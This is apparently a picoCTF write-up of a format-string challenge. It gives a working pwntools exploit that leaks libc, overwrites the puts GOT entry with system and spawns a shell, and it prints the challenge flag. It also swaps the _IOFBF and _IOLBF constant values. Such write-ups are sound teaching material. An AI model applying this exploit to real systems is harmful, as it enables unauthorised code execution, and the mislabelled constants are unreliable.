It’s a 64 bit dynamically linked ELF.

file format-string-3
format-string-3: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=54e1c4048a725df868e9a10dc975a46e8d8e5e92, not stripped

Here’s the checksec result.

checksec format-string-3
[*] '/home/picoctf/pwn/format_string3/format-string-3'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x3ff000)
    RUNPATH:    b'.'
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

In this level picoCTF gave us the libc and ld.

file libc.so.6 
libc.so.6: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /usr/lib/ld-linux-x86-64.so.2, BuildID[sha1]=8bfe03f6bf9b6a6e2591babd0bbc266837d8f658, for GNU/Linux 4.4.0, stripped
file ld-linux-x86-64.so.2 
ld-linux-x86-64.so.2: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), static-pie linked, BuildID[sha1]=6ebd6e95dffa2afcbdaf7b7c91103b23ecf2b012, stripped

I ran strings to check which version of Ubuntu the binary was built on.

It looks like it was built on Ubuntu 22.04, and used glibc 2.38.

strings format-string-3 | grep GCC
GCC: (Ubuntu 11.4.0-1ubuntu1~22.04) 11.4.0


strings libc.so.6 | grep GNU
GNU C Library (GNU libc) stable release version 2.38.
Compiled by GNU CC version 13.2.1 20230801.
GCC: (GNU) 13.2.1 20230801

At first, I couldn’t run the binary, likely because I’m using a newer libc (Ubuntu 24.04) and ld than what the binary expected.

To fix this, I ran pwninit.

./format-string-3 
Howdy gamers!
Okay I'll be nice. Here's the address of setvbuf in libc: 0x7f94d24313f0
hwkim301
hwkim301
/bin/sh

picoCTF also provided us with the C Code.

#include <stdio.h>

#define MAX_STRINGS 32

char *normal_string = "/bin/sh";

void setup() {
	setvbuf(stdin, NULL, _IONBF, 0);
	setvbuf(stdout, NULL, _IONBF, 0);
	setvbuf(stderr, NULL, _IONBF, 0);
}

void hello() {
	puts("Howdy gamers!");
	printf("Okay I'll be nice. Here's the address of setvbuf in libc: %p\n", &setvbuf);
}

int main() {
	char *all_strings[MAX_STRINGS] = {NULL};
	char buf[1024] = {'\0'};

	setup();
	hello();	

	fgets(buf, 1024, stdin);	
	printf(buf);

	puts(normal_string);

	return 0;
}

The code is pretty simple, it prints the memory address of the setvbuf function in libc.

There’s also a format string vulnerability.

printf(buf);

You can see this code a lot when solving pwnable problems, but I usually ignored it.

I thought it would be worth explaining once.

setvbuf(stderr, NULL, _IONBF, 0);

There are 3 types of buffering(unbuffered, block buffered, and line buffered).

1. Unbuffered (_IONBF)

Information appears on the destination file or terminal as soon as it’s written.

Corresponds to constant 2.

2. Block buffered (_IOFBF)

many characters are saved up and written as a block

Corresponds to constant value 1.

3. Line buffered (_IOLBF)

characters are saved up until a newline is output or input is read from any stream attached to a terminal device (typically stdin).

Corresponds to constant value 0.

Normally all files are block buffered.

You can read this reddit post on why the setvbuf function is used frequently in pwnable challenges.

The 38th pointer on the stack points to my input.

./format-string-3 
Howdy gamers!
Okay I'll be nice. Here's the address of setvbuf in libc: 0x7f1bfe4e13f0
%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
0x7f1bfe63f963 0xfbad208b 0x7fff250f93e0 0x1 (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) (nil) 0x7025207025207025 0x2520702520702520 0x2070252070252070
/bin/sh

Since typing a whole bunch of %ps is inconvenient and clunky, you can automate the process of finding the offset.

I got the code from here.

from pwn import *

context.arch = "amd64"


def send_payload(payload):
    p = process("./format-string-3")
    p.sendline(payload)
    l = p.recvall()
    p.close()
    return l


offset = FmtStr(send_payload).offset
info(f"offset = {offset}")

# [*] Found format string offset: 38
# [*] offset = 38

We now know the offset, and to calculate the libc base we need to subtract the setvbuf offset from the memory address of setvbuf.

Why would you do that, even if the binary isn’t compiled with PIE?

Well the libc is almost always compiled with PIE, in order to calculate the setvbuf address from libc we need to subtract the offset from the setvbuf itself to calculate the base address of libc.

checksec libc.so.6
[*] '/home/picoctf/pwn/format_string3/libc.so.6'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled

After calculating the base address of libc we need to overwrite a GOT entry of a function that will be called in the future.

puts(normal_string);

Overwriting the GOT entry of puts to the system function in libc will give us the shell.

What is the GOT and PLT?

You should read this.

Explaining thee GOT and PLT in detail is a bit hard for me…

In short, they are mechanisms that facilitate dynamic linking. For this exploit, we just need to know that the GOT contains the addresses of library functions, and because of Partial RELRO, we can overwrite them.

We can overwrite the GOT entry of the puts function because it will be called right after the printf function call.

payload = fmtstr_payload(38, {e.got['puts']: libc.symbols['system']})

Another interesting point is that although Python3 doesn’t have a default dotdict data structure the pwntools ELF class allows you to use elf.symbols to reference variables via the dotdict.

I think using a normal dict would be Pythonic since it works with other code as well but if you’re a ctfer using the dotdict would be a good choice too since it does seem a bit more smooth.

Here’s the exploit code.

Exploit Code

from pwn import *

context.arch = "amd64"
r = remote("rhea.picoctf.net", 50053)
e = ELF("./format-string-3")
libc = ELF("./libc.so.6")
setvbuf = r.recvuntil(b"libc: ")
libc.address = int(r.recvline(), 16) - libc.symbols['setvbuf']
payload = fmtstr_payload(38, {e.got['puts']: libc.symbols['system']})
r.sendline(payload)
r.interactive()

# picoCTF{G07_G07?_6d11af9f}

Reference writeup

Extra reading

ELF symbols and dotdicts in pwntools

RELRO (ReLocation Read-Only)